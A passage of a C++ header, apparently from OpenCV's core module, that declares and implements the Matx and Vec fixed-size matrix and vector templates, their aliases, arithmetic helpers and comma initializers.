struct Depth< Matx<_Tp, m, n> > { enum { value = Depth<_Tp>::value }; };
template<typename _Tp, int m, int n>
struct Type< Matx<_Tp, m, n> > { enum { value = CV_MAKETYPE(Depth<_Tp>::value, n*m) }; };
} // namespace
/** @brief Comma-separated Matrix Initializer
*/
template<typename _Tp, int m, int n> class MatxCommaInitializer
{
public:
MatxCommaInitializer(Matx<_Tp, m, n>* _mtx);
template<typename T2> MatxCommaInitializer<_Tp, m, n>& operator , (T2 val);
Matx<_Tp, m, n> operator *() const;
Matx<_Tp, m, n>* dst;
int idx;
};
/*
Utility methods
*/
template<typename _Tp, int m> static double determinant(const Matx<_Tp, m, m>& a);
template<typename _Tp, int m, int n> static double trace(const Matx<_Tp, m, n>& a);
template<typename _Tp, int m, int n> static double norm(const Matx<_Tp, m, n>& M);
template<typename _Tp, int m, int n> static double norm(const Matx<_Tp, m, n>& M, int normType);
/////////////////////// Vec (used as element of multi-channel images /////////////////////
/** @brief Template class for short numerical vectors, a partial case of Matx
This template class represents short numerical vectors (of 1, 2, 3, 4 ... elements) on which you
can perform basic arithmetical operations, access individual elements using [] operator etc. The
vectors are allocated on stack, as opposite to std::valarray, std::vector, cv::Mat etc., which
elements are dynamically allocated in the heap.
The template takes 2 parameters:
@tparam _Tp element type
@tparam cn the number of elements
In addition to the universal notation like Vec<float, 3>, you can use shorter aliases
for the most popular specialized variants of Vec, e.g. Vec3f ~ Vec<float, 3>.
It is possible to convert Vec\<T,2\> to/from Point_, Vec\<T,3\> to/from Point3_ , and Vec\<T,4\>
to CvScalar or Scalar_. Use operator[] to access the elements of Vec.
All the expected vector operations are also implemented:
- v1 = v2 + v3
- v1 = v2 - v3
- v1 = v2 \* scale
- v1 = scale \* v2
- v1 = -v2
- v1 += v2 and other augmenting operations
- v1 == v2, v1 != v2
- norm(v1) (euclidean norm)
The Vec class is commonly used to describe pixel types of multi-channel arrays. See Mat for details.
*/
template<typename _Tp, int cn> class Vec : public Matx<_Tp, cn, 1>
{
public:
typedef _Tp value_type;
enum {
channels = cn,
#ifdef OPENCV_TRAITS_ENABLE_DEPRECATED
depth = Matx<_Tp, cn, 1>::depth,
type = CV_MAKETYPE(depth, channels),
#endif
_dummy_enum_finalizer = 0
};
//! default constructor
Vec();
Vec(_Tp v0); //!< 1-element vector constructor
Vec(_Tp v0, _Tp v1); //!< 2-element vector constructor
Vec(_Tp v0, _Tp v1, _Tp v2); //!< 3-element vector constructor
Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3); //!< 4-element vector constructor
Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4); //!< 5-element vector constructor
Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5); //!< 6-element vector constructor
Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6); //!< 7-element vector constructor
Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7); //!< 8-element vector constructor
Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8); //!< 9-element vector constructor
Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8, _Tp v9); //!< 10-element vector constructor
Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8, _Tp v9, _Tp v10, _Tp v11, _Tp v12, _Tp v13); //!< 14-element vector constructor
explicit Vec(const _Tp* values);
Vec(std::initializer_list<_Tp>);
Vec(const Vec<_Tp, cn>& v);
static Vec all(_Tp alpha);
//! per-element multiplication
Vec mul(const Vec<_Tp, cn>& v) const;
//! conjugation (makes sense for complex numbers and quaternions)
Vec conj() const;
/*!
cross product of the two 3D vectors.
For other dimensionalities the exception is raised
*/
Vec cross(const Vec& v) const;
//! conversion to another data type
template<typename T2> operator Vec<T2, cn>() const;
/*! element access */
const _Tp& operator [](int i) const;
_Tp& operator[](int i);
const _Tp& operator ()(int i) const;
_Tp& operator ()(int i);
#ifdef CV_CXX11
Vec<_Tp, cn>& operator=(const Vec<_Tp, cn>& rhs) = default;
#endif
Vec(const Matx<_Tp, cn, 1>& a, const Matx<_Tp, cn, 1>& b, Matx_AddOp);
Vec(const Matx<_Tp, cn, 1>& a, const Matx<_Tp, cn, 1>& b, Matx_SubOp);
template<typename _T2> Vec(const Matx<_Tp, cn, 1>& a, _T2 alpha, Matx_ScaleOp);
};
/** @name Shorter aliases for the most popular specializations of Vec<T,n>
@{
*/
typedef Vec<uchar, 2> Vec2b;
typedef Vec<uchar, 3> Vec3b;
typedef Vec<uchar, 4> Vec4b;
typedef Vec<short, 2> Vec2s;
typedef Vec<short, 3> Vec3s;
typedef Vec<short, 4> Vec4s;
typedef Vec<ushort, 2> Vec2w;
typedef Vec<ushort, 3> Vec3w;
typedef Vec<ushort, 4> Vec4w;
typedef Vec<int, 2> Vec2i;
typedef Vec<int, 3> Vec3i;
typedef Vec<int, 4> Vec4i;
typedef Vec<int, 6> Vec6i;
typedef Vec<int, 8> Vec8i;
typedef Vec<float, 2> Vec2f;
typedef Vec<float, 3> Vec3f;
typedef Vec<float, 4> Vec4f;
typedef Vec<float, 6> Vec6f;
typedef Vec<double, 2> Vec2d;
typedef Vec<double, 3> Vec3d;
typedef Vec<double, 4> Vec4d;
typedef Vec<double, 6> Vec6d;
/** @} */
/*!
traits
*/
template<typename _Tp, int cn> class DataType< Vec<_Tp, cn> >
{
public:
typedef Vec<_Tp, cn> value_type;
typedef Vec<typename DataType<_Tp>::work_type, cn> work_type;
typedef _Tp channel_type;
typedef value_type vec_type;
enum { generic_type = 0,
channels = cn,
fmt = DataType<channel_type>::fmt + ((channels - 1) << 8),
#ifdef OPENCV_TRAITS_ENABLE_DEPRECATED
depth = DataType<channel_type>::depth,
type = CV_MAKETYPE(depth, channels),
#endif
_dummy_enum_finalizer = 0
};
};
namespace traits {
template<typename _Tp, int cn>
struct Depth< Vec<_Tp, cn> > { enum { value = Depth<_Tp>::value }; };
template<typename _Tp, int cn>
struct Type< Vec<_Tp, cn> > { enum { value = CV_MAKETYPE(Depth<_Tp>::value, cn) }; };
} // namespace
/** @brief Comma-separated Vec Initializer
*/
template<typename _Tp, int m> class VecCommaInitializer : public MatxCommaInitializer<_Tp, m, 1>
{
public:
VecCommaInitializer(Vec<_Tp, m>* _vec);
template<typename T2> VecCommaInitializer<_Tp, m>& operator , (T2 val);
Vec<_Tp, m> operator *() const;
};
template<typename _Tp, int cn> static Vec<_Tp, cn> normalize(const Vec<_Tp, cn>& v);
//! @} core_basic
//! @cond IGNORED
///////////////////////////////////// helper classes /////////////////////////////////////
namespace internal
{
template<typename _Tp, int m> struct Matx_DetOp
{
double operator ()(const Matx<_Tp, m, m>& a) const
{
Matx<_Tp, m, m> temp = a;
double p = LU(temp.val, m*sizeof(_Tp), m, 0, 0, 0);
if( p == 0 )
return p;
for( int i = 0; i < m; i++ )
p *= temp(i, i);
return p;
}
};
template<typename _Tp> struct Matx_DetOp<_Tp, 1>
{
double operator ()(const Matx<_Tp, 1, 1>& a) const
{
return a(0,0);
}
};
template<typename _Tp> struct Matx_DetOp<_Tp, 2>
{
double operator ()(const Matx<_Tp, 2, 2>& a) const
{
return a(0,0)*a(1,1) - a(0,1)*a(1,0);
}
};
template<typename _Tp> struct Matx_DetOp<_Tp, 3>
{
double operator ()(const Matx<_Tp, 3, 3>& a) const
{
return a(0,0)*(a(1,1)*a(2,2) - a(2,1)*a(1,2)) -
a(0,1)*(a(1,0)*a(2,2) - a(2,0)*a(1,2)) +
a(0,2)*(a(1,0)*a(2,1) - a(2,0)*a(1,1));
}
};
template<typename _Tp> Vec<_Tp, 2> inline conjugate(const Vec<_Tp, 2>& v)
{
return Vec<_Tp, 2>(v[0], -v[1]);
}
template<typename _Tp> Vec<_Tp, 4> inline conjugate(const Vec<_Tp, 4>& v)
{
return Vec<_Tp, 4>(v[0], -v[1], -v[2], -v[3]);
}
} // internal
////////////////////////////////// Matx Implementation ///////////////////////////////////
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx()
{
for(int i = 0; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0)
{
val[0] = v0;
for(int i = 1; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0, _Tp v1)
{
CV_StaticAssert(channels >= 2, "Matx should have at least 2 elements.");
val[0] = v0; val[1] = v1;
for(int i = 2; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0, _Tp v1, _Tp v2)
{
CV_StaticAssert(channels >= 3, "Matx should have at least 3 elements.");
val[0] = v0; val[1] = v1; val[2] = v2;
for(int i = 3; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3)
{
CV_StaticAssert(channels >= 4, "Matx should have at least 4 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3;
for(int i = 4; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4)
{
CV_StaticAssert(channels >= 5, "Matx should have at least 5 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3; val[4] = v4;
for(int i = 5; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5)
{
CV_StaticAssert(channels >= 6, "Matx should have at least 6 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3;
val[4] = v4; val[5] = v5;
for(int i = 6; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6)
{
CV_StaticAssert(channels >= 7, "Matx should have at least 7 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3;
val[4] = v4; val[5] = v5; val[6] = v6;
for(int i = 7; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7)
{
CV_StaticAssert(channels >= 8, "Matx should have at least 8 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3;
val[4] = v4; val[5] = v5; val[6] = v6; val[7] = v7;
for(int i = 8; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8)
{
CV_StaticAssert(channels >= 9, "Matx should have at least 9 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3;
val[4] = v4; val[5] = v5; val[6] = v6; val[7] = v7;
val[8] = v8;
for(int i = 9; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8, _Tp v9)
{
CV_StaticAssert(channels >= 10, "Matx should have at least 10 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3;
val[4] = v4; val[5] = v5; val[6] = v6; val[7] = v7;
val[8] = v8; val[9] = v9;
for(int i = 10; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8, _Tp v9, _Tp v10, _Tp v11)
{
CV_StaticAssert(channels >= 12, "Matx should have at least 12 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3;
val[4] = v4; val[5] = v5; val[6] = v6; val[7] = v7;
val[8] = v8; val[9] = v9; val[10] = v10; val[11] = v11;
for(int i = 12; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8, _Tp v9, _Tp v10, _Tp v11, _Tp v12, _Tp v13)
{
CV_StaticAssert(channels >= 14, "Matx should have at least 14 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3;
val[4] = v4; val[5] = v5; val[6] = v6; val[7] = v7;
val[8] = v8; val[9] = v9; val[10] = v10; val[11] = v11;
val[12] = v12; val[13] = v13;
for (int i = 14; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n>::Matx(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8, _Tp v9, _Tp v10, _Tp v11, _Tp v12, _Tp v13, _Tp v14, _Tp v15)
{
CV_StaticAssert(channels >= 16, "Matx should have at least 16 elements.");
val[0] = v0; val[1] = v1; val[2] = v2; val[3] = v3;
val[4] = v4; val[5] = v5; val[6] = v6; val[7] = v7;
val[8] = v8; val[9] = v9; val[10] = v10; val[11] = v11;
val[12] = v12; val[13] = v13; val[14] = v14; val[15] = v15;
for(int i = 16; i < channels; i++) val[i] = _Tp(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(const _Tp* values)
{
for( int i = 0; i < channels; i++ ) val[i] = values[i];
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n>::Matx(std::initializer_list<_Tp> list)
{
CV_DbgAssert(list.size() == channels);
int i = 0;
for(const auto& elem : list)
{
val[i++] = elem;
}
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n> Matx<_Tp, m, n>::all(_Tp alpha)
{
Matx<_Tp, m, n> M;
for( int i = 0; i < m*n; i++ ) M.val[i] = alpha;
return M;
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n> Matx<_Tp,m,n>::zeros()
{
return all(0);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n> Matx<_Tp,m,n>::ones()
{
return all(1);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n> Matx<_Tp,m,n>::eye()
{
Matx<_Tp,m,n> M;
for(int i = 0; i < shortdim; i++)
M(i,i) = 1;
return M;
}
template<typename _Tp, int m, int n> inline
_Tp Matx<_Tp, m, n>::dot(const Matx<_Tp, m, n>& M) const
{
_Tp s = 0;
for( int i = 0; i < channels; i++ ) s += val[i]*M.val[i];
return s;
}
template<typename _Tp, int m, int n> inline
double Matx<_Tp, m, n>::ddot(const Matx<_Tp, m, n>& M) const
{
double s = 0;
for( int i = 0; i < channels; i++ ) s += (double)val[i]*M.val[i];
return s;
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n> Matx<_Tp,m,n>::diag(const typename Matx<_Tp,m,n>::diag_type& d)
{
Matx<_Tp,m,n> M;
for(int i = 0; i < shortdim; i++)
M(i,i) = d(i, 0);
return M;
}
template<typename _Tp, int m, int n> template<typename T2>
inline Matx<_Tp, m, n>::operator Matx<T2, m, n>() const
{
Matx<T2, m, n> M;
for( int i = 0; i < m*n; i++ ) M.val[i] = saturate_cast<T2>(val[i]);
return M;
}
template<typename _Tp, int m, int n> template<int m1, int n1> inline
Matx<_Tp, m1, n1> Matx<_Tp, m, n>::reshape() const
{
CV_StaticAssert(m1*n1 == m*n, "Input and destnarion matrices must have the same number of elements");
return (const Matx<_Tp, m1, n1>&)*this;
}
template<typename _Tp, int m, int n>
template<int m1, int n1> inline
Matx<_Tp, m1, n1> Matx<_Tp, m, n>::get_minor(int base_row, int base_col) const
{
CV_DbgAssert(0 <= base_row && base_row+m1 <= m && 0 <= base_col && base_col+n1 <= n);
Matx<_Tp, m1, n1> s;
for( int di = 0; di < m1; di++ )
for( int dj = 0; dj < n1; dj++ )
s(di, dj) = (*this)(base_row+di, base_col+dj);
return s;
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, 1, n> Matx<_Tp, m, n>::row(int i) const
{
CV_DbgAssert((unsigned)i < (unsigned)m);
return Matx<_Tp, 1, n>(&val[i*n]);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, 1> Matx<_Tp, m, n>::col(int j) const
{
CV_DbgAssert((unsigned)j < (unsigned)n);
Matx<_Tp, m, 1> v;
for( int i = 0; i < m; i++ )
v.val[i] = val[i*n + j];
return v;
}
template<typename _Tp, int m, int n> inline
typename Matx<_Tp, m, n>::diag_type Matx<_Tp, m, n>::diag() const
{
diag_type d;
for( int i = 0; i < shortdim; i++ )
d.val[i] = val[i*n + i];
return d;
}
template<typename _Tp, int m, int n> inline
const _Tp& Matx<_Tp, m, n>::operator()(int row_idx, int col_idx) const
{
CV_DbgAssert( (unsigned)row_idx < (unsigned)m && (unsigned)col_idx < (unsigned)n );
return this->val[row_idx*n + col_idx];
}
template<typename _Tp, int m, int n> inline
_Tp& Matx<_Tp, m, n>::operator ()(int row_idx, int col_idx)
{
CV_DbgAssert( (unsigned)row_idx < (unsigned)m && (unsigned)col_idx < (unsigned)n );
return val[row_idx*n + col_idx];
}
template<typename _Tp, int m, int n> inline
const _Tp& Matx<_Tp, m, n>::operator ()(int i) const
{
CV_StaticAssert(m == 1 || n == 1, "Single index indexation requires matrix to be a column or a row");
CV_DbgAssert( (unsigned)i < (unsigned)(m+n-1) );
return val[i];
}
template<typename _Tp, int m, int n> inline
_Tp& Matx<_Tp, m, n>::operator ()(int i)
{
CV_StaticAssert(m == 1 || n == 1, "Single index indexation requires matrix to be a column or a row");
CV_DbgAssert( (unsigned)i < (unsigned)(m+n-1) );
return val[i];
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n>::Matx(const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b, Matx_AddOp)
{
for( int i = 0; i < channels; i++ )
val[i] = saturate_cast<_Tp>(a.val[i] + b.val[i]);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n>::Matx(const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b, Matx_SubOp)
{
for( int i = 0; i < channels; i++ )
val[i] = saturate_cast<_Tp>(a.val[i] - b.val[i]);
}
template<typename _Tp, int m, int n> template<typename _T2> inline
Matx<_Tp,m,n>::Matx(const Matx<_Tp, m, n>& a, _T2 alpha, Matx_ScaleOp)
{
for( int i = 0; i < channels; i++ )
val[i] = saturate_cast<_Tp>(a.val[i] * alpha);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n>::Matx(const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b, Matx_MulOp)
{
for( int i = 0; i < channels; i++ )
val[i] = saturate_cast<_Tp>(a.val[i] * b.val[i]);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n>::Matx(const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b, Matx_DivOp)
{
for( int i = 0; i < channels; i++ )
val[i] = saturate_cast<_Tp>(a.val[i] / b.val[i]);
}
template<typename _Tp, int m, int n> template<int l> inline
Matx<_Tp,m,n>::Matx(const Matx<_Tp, m, l>& a, const Matx<_Tp, l, n>& b, Matx_MatMulOp)
{
for( int i = 0; i < m; i++ )
for( int j = 0; j < n; j++ )
{
_Tp s = 0;
for( int k = 0; k < l; k++ )
s += a(i, k) * b(k, j);
val[i*n + j] = s;
}
}
template<typename _Tp, int m, int n> inline
Matx<_Tp,m,n>::Matx(const Matx<_Tp, n, m>& a, Matx_TOp)
{
for( int i = 0; i < m; i++ )
for( int j = 0; j < n; j++ )
val[i*n + j] = a(j, i);
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n> Matx<_Tp, m, n>::mul(const Matx<_Tp, m, n>& a) const
{
return Matx<_Tp, m, n>(*this, a, Matx_MulOp());
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n> Matx<_Tp, m, n>::div(const Matx<_Tp, m, n>& a) const
{
return Matx<_Tp, m, n>(*this, a, Matx_DivOp());
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, n, m> Matx<_Tp, m, n>::t() const
{
return Matx<_Tp, n, m>(*this, Matx_TOp());
}
template<typename _Tp, int m, int n> inline
Vec<_Tp, n> Matx<_Tp, m, n>::solve(const Vec<_Tp, m>& rhs, int method) const
{
Matx<_Tp, n, 1> x = solve((const Matx<_Tp, m, 1>&)(rhs), method);
return (Vec<_Tp, n>&)(x);
}
template<typename _Tp, int m> static inline
double determinant(const Matx<_Tp, m, m>& a)
{
return cv::internal::Matx_DetOp<_Tp, m>()(a);
}
template<typename _Tp, int m, int n> static inline
double trace(const Matx<_Tp, m, n>& a)
{
_Tp s = 0;
for( int i = 0; i < std::min(m, n); i++ )
s += a(i,i);
return s;
}
template<typename _Tp, int m, int n> static inline
double norm(const Matx<_Tp, m, n>& M)
{
return std::sqrt(normL2Sqr<_Tp, double>(M.val, m*n));
}
template<typename _Tp, int m, int n> static inline
double norm(const Matx<_Tp, m, n>& M, int normType)
{
switch(normType) {
case NORM_INF:
return (double)normInf<_Tp, typename DataType<_Tp>::work_type>(M.val, m*n);
case NORM_L1:
return (double)normL1<_Tp, typename DataType<_Tp>::work_type>(M.val, m*n);
case NORM_L2SQR:
return (double)normL2Sqr<_Tp, typename DataType<_Tp>::work_type>(M.val, m*n);
default:
case NORM_L2:
return std::sqrt((double)normL2Sqr<_Tp, typename DataType<_Tp>::work_type>(M.val, m*n));
}
}
//////////////////////////////// matx comma initializer //////////////////////////////////
template<typename _Tp, typename _T2, int m, int n> static inline
MatxCommaInitializer<_Tp, m, n> operator << (const Matx<_Tp, m, n>& mtx, _T2 val)
{
MatxCommaInitializer<_Tp, m, n> commaInitializer((Matx<_Tp, m, n>*)&mtx);
return (commaInitializer, val);
}
template<typename _Tp, int m, int n> inline
MatxCommaInitializer<_Tp, m, n>::MatxCommaInitializer(Matx<_Tp, m, n>* _mtx)
: dst(_mtx), idx(0)
{}
template<typename _Tp, int m, int n> template<typename _T2> inline
MatxCommaInitializer<_Tp, m, n>& MatxCommaInitializer<_Tp, m, n>::operator , (_T2 value)
{
CV_DbgAssert( idx < m*n );
dst->val[idx++] = saturate_cast<_Tp>(value);
return *this;
}
template<typename _Tp, int m, int n> inline
Matx<_Tp, m, n> MatxCommaInitializer<_Tp, m, n>::operator *() const
{
CV_DbgAssert( idx == n*m );
return *dst;
}
/////////////////////////////////// Vec Implementation ///////////////////////////////////
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec() {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0)
: Matx<_Tp, cn, 1>(v0) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1)
: Matx<_Tp, cn, 1>(v0, v1) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1, _Tp v2)
: Matx<_Tp, cn, 1>(v0, v1, v2) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3)
: Matx<_Tp, cn, 1>(v0, v1, v2, v3) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4)
: Matx<_Tp, cn, 1>(v0, v1, v2, v3, v4) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5)
: Matx<_Tp, cn, 1>(v0, v1, v2, v3, v4, v5) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6)
: Matx<_Tp, cn, 1>(v0, v1, v2, v3, v4, v5, v6) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7)
: Matx<_Tp, cn, 1>(v0, v1, v2, v3, v4, v5, v6, v7) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8)
: Matx<_Tp, cn, 1>(v0, v1, v2, v3, v4, v5, v6, v7, v8) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8, _Tp v9)
: Matx<_Tp, cn, 1>(v0, v1, v2, v3, v4, v5, v6, v7, v8, v9) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(_Tp v0, _Tp v1, _Tp v2, _Tp v3, _Tp v4, _Tp v5, _Tp v6, _Tp v7, _Tp v8, _Tp v9, _Tp v10, _Tp v11, _Tp v12, _Tp v13)
: Matx<_Tp, cn, 1>(v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(const _Tp* values)
: Matx<_Tp, cn, 1>(values) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(std::initializer_list<_Tp> list)
: Matx<_Tp, cn, 1>(list) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(const Vec<_Tp, cn>& m)
: Matx<_Tp, cn, 1>(m.val) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(const Matx<_Tp, cn, 1>& a, const Matx<_Tp, cn, 1>& b, Matx_AddOp op)
: Matx<_Tp, cn, 1>(a, b, op) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn>::Vec(const Matx<_Tp, cn, 1>& a, const Matx<_Tp, cn, 1>& b, Matx_SubOp op)
: Matx<_Tp, cn, 1>(a, b, op) {}
template<typename _Tp, int cn> template<typename _T2> inline
Vec<_Tp, cn>::Vec(const Matx<_Tp, cn, 1>& a, _T2 alpha, Matx_ScaleOp op)
: Matx<_Tp, cn, 1>(a, alpha, op) {}
template<typename _Tp, int cn> inline
Vec<_Tp, cn> Vec<_Tp, cn>::all(_Tp alpha)
{
Vec v;
for( int i = 0; i < cn; i++ ) v.val[i] = alpha;
return v;
}
template<typename _Tp, int cn> inline
Vec<_Tp, cn> Vec<_Tp, cn>::mul(const Vec<_Tp, cn>& v) const
{
Vec<_Tp, cn> w;
for( int i = 0; i < cn; i++ ) w.val[i] = saturate_cast<_Tp>(this->val[i]*v.val[i]);
return w;
}
template<> inline
Vec<float, 2> Vec<float, 2>::conj() const
{
return cv::internal::conjugate(*this);
}
template<> inline
Vec<double, 2> Vec<double, 2>::conj() const
{
return cv::internal::conjugate(*this);
}
template<> inline
Vec<float, 4> Vec<float, 4>::conj() const
{
return cv::internal::conjugate(*this);
}
template<> inline
Vec<double, 4> Vec<double, 4>::conj() const
{
return cv::internal::conjugate(*this);
}
template<typename _Tp, int cn> inline
Vec<_Tp, cn> Vec<_Tp, cn>::cross(const Vec<_Tp, cn>&) const
{
CV_StaticAssert(cn == 3, "for arbitrary-size vector there is no cross-product defined");
return Vec<_Tp, cn>();
}
template<> inline
Vec<float, 3> Vec<float, 3>::cross(const Vec<float, 3>& v) const
{
return Vec<float,3>(this->val[1]*v.val[2] - this->val[2]*v.val[1],
this->val[2]*v.val[0] - this->val[0]*v.val[2],
this->val[0]*v.val[1] - this->val[1]*v.val[0]);
}
template<> inline
Vec<double, 3> Vec<double, 3>::cross(const Vec<double, 3>& v) const
{
return Vec<double,3>(this->val[1]*v.val[2] - this->val[2]*v.val[1],
this->val[2]*v.val[0] - this->val[0]*v.val[2],
this->val[0]*v.val[1] - this->val[1]*v.val[0]);
}
template<typename _Tp, int cn> template<typename T2> inline
Vec<_Tp, cn>::operator Vec<T2, cn>() const
{
Vec<T2, cn> v;
for( int i = 0; i < cn; i++ ) v.val[i] = saturate_cast<T2>(this->val[i]);
return v;
}
template<typename _Tp, int cn> inline
const _Tp& Vec<_Tp, cn>::operator [](int i) const
{
CV_DbgAssert( (unsigned)i < (unsigned)cn );
return this->val[i];
}
template<typename _Tp, int cn> inline
_Tp& Vec<_Tp, cn>::operator [](int i)
{
CV_DbgAssert( (unsigned)i < (unsigned)cn );
return this->val[i];
}
template<typename _Tp, int cn> inline
const _Tp& Vec<_Tp, cn>::operator ()(int i) const
{
CV_DbgAssert( (unsigned)i < (unsigned)cn );
return this->val[i];
}
template<typename _Tp, int cn> inline
_Tp& Vec<_Tp, cn>::operator ()(int i)
{
CV_DbgAssert( (unsigned)i < (unsigned)cn );
return this->val[i];
}
template<typename _Tp, int cn> inline
Vec<_Tp, cn> normalize(const Vec<_Tp, cn>& v)
{
double nv = norm(v);
return v * (nv ? 1./nv : 0.);
}
//////////////////////////////// vec comma initializer //////////////////////////////////
template<typename _Tp, typename _T2, int cn> static inline
VecCommaInitializer<_Tp, cn> operator << (const Vec<_Tp, cn>& vec, _T2 val)
{
VecCommaInitializer<_Tp, cn> commaInitializer((Vec<_Tp, cn>*)&vec);
return (commaInitializer, val);
}
template<typename _Tp, int cn> inline
